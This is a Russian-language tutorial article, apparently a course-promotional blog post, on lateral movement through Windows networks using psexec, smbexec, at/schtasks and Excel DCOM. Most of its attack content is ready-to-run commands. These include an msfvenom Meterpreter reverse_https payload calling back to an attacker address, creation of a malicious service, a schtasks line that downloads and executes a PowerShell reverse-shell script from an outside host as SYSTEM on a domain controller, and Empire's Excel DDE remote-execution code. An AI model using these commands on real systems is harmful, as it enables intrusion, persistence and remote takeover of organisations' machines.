С точки зрения теории хакинга, взлом инфраструктуры состоит из нескольких шагов. Так, в начале атакующему необходимо провести разведку, выяснить, какие DNS записи, пулы IP адресов и прочее принадлежит атакуемой организации. Также неплохо было бы узнать, какое ПО и средства защиты используются. Все это может существенно упростить взлом.
После успешного проникновения в сеть жертвы хакеру необходимо закрепиться, для этого атакующий создает скрытый канал во взломанную сеть. Это может быть использование инкапсуляции нужных данных в пакеты распространенного типа, использование распространенных портов, стеганография и многое другое. Также, если хакеру не хватает прав, то ему необходимо осуществить поднятие привилегий.
Наконец, успешно закрепившись в сети и получив нужные права, хакер может начинать горизонтальное перемещение — продвижение по сети от точки входа (например, скомпрометированного устройства или аккаунта) к другим объектам. Вот эту тему мы и рассмотрим в данной статье.
Винда, как плацдарм
В большинстве организаций на сегодняшний день основной пользовательской ОС пока еще является Windows. Поэтому в этой статье мы рассмотрим горизонтальное перемещение в сети под управлением Windows.
Начнем с рассмотрения одного из самых распространенных методов перемещения — использования psexec. На сайте Майкрософт представлено следующее описание данной утилиты: «PsExec — это легковесная замена telnet, которая позволяет выполнять процессы в других системах с полным взаимодействием для консольных приложений, не устанавливая клиентское программное обеспечение вручную».
Psexec использует протокол SMB для обеспечения своей работы. Утилита перемещает созданную заранее копию файла PsExesvc.exe в сетевую папку ADMIN$. Затем посредством RPC создается служба, которая, в свою очередь и запускает PsExesvc.exe на атакуемом хосте.
В результате файл создаёт Named Pipe (именованный канал), через который он общается с узлом атакующего. После завершения работы сервис останавливается и файл удаляется с атакуемой машины.
Для того, чтобы выполнить эту атаку на практике воспользуемся Kali Linux, и для начала подготовим с помощью Msfvenom полезную нагрузку с reverse_https.
msfvenom -p windows/meterpreter/reverse_https lhost=192.168.1.105 lport=443 -f exe > shell.exe
Далее копируем исполняемый файл на общий ресурс ADMIN$, хотя он может быть размещен в любом месте файловой системы, там, где он будет оставаться скрытым.
После этого с помощью команды sc, которая позволяет запрашивать, создавать и удалять службы Windows удаленно, создается служба, например с именем "meterpreter", которая указывает на загруженный выполнимый файл.
sc create Meterpreter binPath= "shell.exe"
sc start Meterpreter
Последний шаг включает в себя запуск службы, который приведет к ошибке из‑за того, что созданный файл не является подлинным файлом службы и не возвращает ожидаемый код ответа. Дело в том, что файлы служб Windows имеют несколько иной формат и должны запускаться особым образом. Но в данном случае эта ошибка несущественна, поскольку основной целью является выполнение нашего файла.
Smbexec как альтернатива
Smbexec — это инструмент, используемый для удаленного выполнения команд в системах Windows, аналогичный Psexec, но позволяющий избежать размещения каких‑либо вредоносных файлов в целевой системе. Он работает путем создания временной службы на целевой машине для выполнения команд через cmd.exe, без удаления каких‑либо двоичных файлов. Несмотря на использование скрытого подхода, данный инструмент генерирует журналы событий для каждой выполняемой команды, предлагая своего рода неинтерактивную «оболочку».
Так, команда для подключения с помощью Smbexec выглядит следующим образом:
smbexec.py WORKGROUP/user:password@192.168.1.1
Важным преимуществом Smbexec является то, что эта утилита обеспечивает прямое выполнение команд через сервис, устраняя необходимость в физических выполнимых файлах в целевой машине.
Этот метод полезен для выполнения одноразовых команд в Windows. Например, сопряжение его с модулем web_delivery от Metasploit позволяет выполнять полезную нагрузку Meterpreter, ориентированную на PowerShell.
Создав удаленную службу на компьютере злоумышленника с заданным binPath для запуска предоставленной команды через cmd.exe, можно успешно выполнить полезную нагрузку.
Здесь создать и запустить службу можно с помощью следующих команд:
sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]"
sc start [ServiceName]
Использование At и Schtasks
Команда At в операционных системах семейства Windows позволяет планировать задачи на хостах, где вы знаете имя пользователя/(пароль/хэш). Таким образом, at также может нам помочь выполнить команды на других хостах.
Здесь мы можем используя планировщик задач прописать выполнение данной задачи в определенное время. Например:
At \\victim 11:00:00PM shutdown –r
В результате мы можем запустить выполнение предварительно загруженного на машину жертвы выполнимого файла. Нельзя сказать, что эта команда, как и описываемый далее schtasks дает существенные преимущества при использовании, в плане сокрытия активности. Но это штатная утилита, которая есть в любой версии ОС и соответственно, ее тоже можно использовать для запуска приложений.
Аналогичный принцип работы утилиты schtasks. Но здесь нам надо сначала создать задачу, а затем вызвать ее:
schtasks /create /n <TASK_NAME> /tr C:\path\shell.exe /sc once /st 00:00 /S <VICTIM> /RU System
schtasks /run /tn <TASK_NAME> /S <VICTIM>
В примере ниже мы также сначала создаем задачу, которая включает в себя выполнение powershell кода, загружающего скрипт с другого ресурса. Затем созданная задача запускается на выполнение.
schtasks /create /S dcorp-dc.domain.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "MyNewtask" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.X/InvokePowerShellTcp.ps1''')'"
schtasks /run /tn "MyNewtask" /S dcorp-dc.domain.local
Используем объекты Excel DCOM
Если предыдущие способы Lateral Movement так или иначе были связаны с использованием команд ОС, то сейчас мы рассмотрим использование объектов Excel DCOM. Distributed Component Object Model (DCOM) представляет собой расширение стандарта Component Object Model (COM) для поддержки связи между объектами на различных компьютерах по сети.
Проект Empire предоставляет скрипт PowerShell, который демонстрирует использование Excel для удаленного выполнения кода (RCE) путем манипулирования объектами DCOM. Ниже приведены фрагменты скрипта, доступные в репозитории Empire на GitHub, демонстрирующие различные методы использования Excel для RCE:
# Определяем версию MS Office
elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$isx64 = [boolean]$obj.Application.ProductCode[21]
Write-Host $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
}
# Регистрация XLL
elseif ($Method -Match "RegisterXLL") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$obj.Application.RegisterXLL("$DllPath")
}
# Выполнение команд через Excel DDE
elseif ($Method -Match "ExcelDDE") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$Obj.DisplayAlerts = $false
$Obj.DDEInitiate("cmd", "/c $Command")
}
Таким образом, мы можем использовать Excel для выполнения сторонних команд.
Заключение
Lateral Movement является неотъемлемой частью любого успешного взлома. Для того, чтобы перемещаться между системами, злоумышленнику необходимо иметь возможность выполняться свой код в других системах и несколько способов такого перемещения мы рассмотрели в этой статье.
Больше про инструменты и методы обеспечения информационной безопасности эксперты OTUS рассказывают в рамках практических онлайн-курсов. С полным каталогом курсов можно ознакомиться по ссылке.
А тем, кому интересна тема механизмов государственного регулирования в ИБ, рекомендую посетить открытый урок 24 октября. На нем познакомитесь с механизмами государственного регулирования в ИБ: лицензированием, аккредитацией, сертификацией и аттестацией. Поймете, как применять эти знания в работе для соблюдения требований законодательства. Записаться можно здесь.